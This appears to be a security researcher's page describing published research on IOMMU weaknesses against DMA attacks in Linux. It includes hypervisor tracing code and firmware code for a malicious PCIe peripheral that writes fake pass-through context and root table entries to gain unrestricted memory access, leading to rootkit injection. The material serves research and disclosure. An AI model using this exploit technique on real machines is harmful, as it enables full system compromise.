Benoît Morgan

Research and teaching in information system security

Research

Teaching resources

TLS-SEC Trainings

ACADIE team @ IRIT

INP-ENSEEIHT University

Motivation

Back in 2015, we decided to dig in what has really been done in modern operating systems regarding IOMMU protection against DMA attacks :

Full presentation (LADC’16 best paper award nominee)

Threat model

Corrputed or malicious PCIe peripheral

Threat model

Preliminary investigations

Objective : trap IOMMU config to look for DMA write windows.

We first used a custom made hypervisor to debug the behavior of drivers/iommu/intel-iommu.c

We used Abyme hypervisor to run a SOTA GNU / linux and trap IOMMU registers configuration : ``

sources/drivers/vmm_rec_iommu/ids.c

void hook_main(void) {
  // Remove RWX from IOMMU MMIO configuration registers
  iommu_protect();
  // Trap corresponding EPT violations
  hook_boot[EXIT_REASON_EPT_VIOLATION] =
      &iommu_boot_ept;
  // Trap one step on MTF in order avoid emulating memory
  // writes and let the VM move on its execution
  hook_boot[EXIT_REASON_MONITOR_TRAP_FLAG] =
      &iommu_boot_mtf;
}

When the VM boot GNU / Linux with IOMMU support, it traps regarding its configuration.

sources/drivers/vmm_rec_iommu/ids.c

int iommu_boot_ept(struct registers *regs) {
  INFO("EPT VIOLATION @0x%016X\n", guest_physical_addr);
  if ((guest_physical_addr == vtd1 ||
      (guest_physical_addr == vtd2 ) {
    iommu_state = IOMMU_TRAP;
    vmm_mtf_set();
    iommu_unprotect();
    // Observe is IOMMU configuration
    // step by step until its final
    // activation
    observe_and_debug();
    INFO("STATE -> TRAP !\n");
    return HOOK_OVERRIDE_STAY;
  } else {
    return HOOK_OVERRIDE_SKIP;
  }
}

When a write is trapped we trace it and let the VM perform the memory affectation. That means allowing next instrution execution. That is the very point of Monitor Trap Flap activation (MTF). It will let the VM move on executing the next instruction and trap again. In our case it will write the configuration.

sources/drivers/vmm_rec_iommu/ids.c

int iommu_boot_mtf(struct registers *regs) {
  if (iommu_state == IOMMU_TRAP) {
    // Post access operations
    switch (guest_physical_addr & 0xfff) {
      case PCI_VC0PREMAP_GCMD:
        INFO("=========== Write to GCMD\n");
        break;
      case PCI_VC0PREMAP_RTADDR:
        INFO("=========== Write to RTADDR\n");
        break;
      case PCI_VC0PREMAP_IQT:
        INFO("=========== Write to IQT\n");
        break;
    }
    // print_protected_memory();
    INFO("IOMMU TRAPPED !\n");
    iommu_protect();
    vmm_mtf_unset();
    iommu_state = IOMMU_RUNTIME;
    INFO("STATE -> RUNTIME !\n");
  }
  return 0;
}

Once MTF has trapped, we trace the access and go back to normal VM runtime, waiting for the next IOMMU configuration access.

Observations

Using this method, we observed the following :

We can move on to the next step were the peripheral itself creates and configures a pass-through malicious context table to self authorize its accesses.

DMA intrusion

The following figure depicts the following attack strategy we have implemented using ERIC malicious peripheral:

DMA Insutrion

Regarding time scale, the following figure depicts the write window when ERIC have the opportunity to succeed to overwrite the legitimate root table entry.

DMA vulnerability window

ERIC firmware context table write implementation using host memory DMA.

sources/bios-sstic/iommu_pwn.c

int iommu_pwn_page(unsigned int low, unsigned int high) {
  uint32_t i, j;
  uint32_t data[4] = { // Big endian
    0x09000000, // type = pass through, present = 1
    0x00000000,
    0x02000000, // virtual address width = 2 (48 bits)
    0x00000000
  };
  printf("write fake context entries\n");
  // 256 entries of 128 bits each
  for (i = 0; i < 256; i++) {
    for (j = 0; j < 4; j++) {
      if (hm_start_write(low + i * 0x10 + j * 0x4,
            high, data[j], 0)) {
        return 1;
      }
    }
  }
  return 0;
}

ERIC firmware root table entry write flood implementation using host memory DMA.

sources/bios-sstic/iommu_pwn.c

// Write fake root entry containing addr address
// to the fake context entry
// addr @0xd0000000
// addr |= 0x50 pour 05:00.0
int iommu_pwn(unsigned int addr) {
  uint32_t low, high;
  // With hypervisor
  low = 0x0bb18050;
  high = 0x00000004;
  addr |= 1; // Bit present
  hm_start_write_pwn(low, high, le32toh(addr));
  return 0;
}

DMA exploit video along with rootkit injection

Online presentation

Associated publications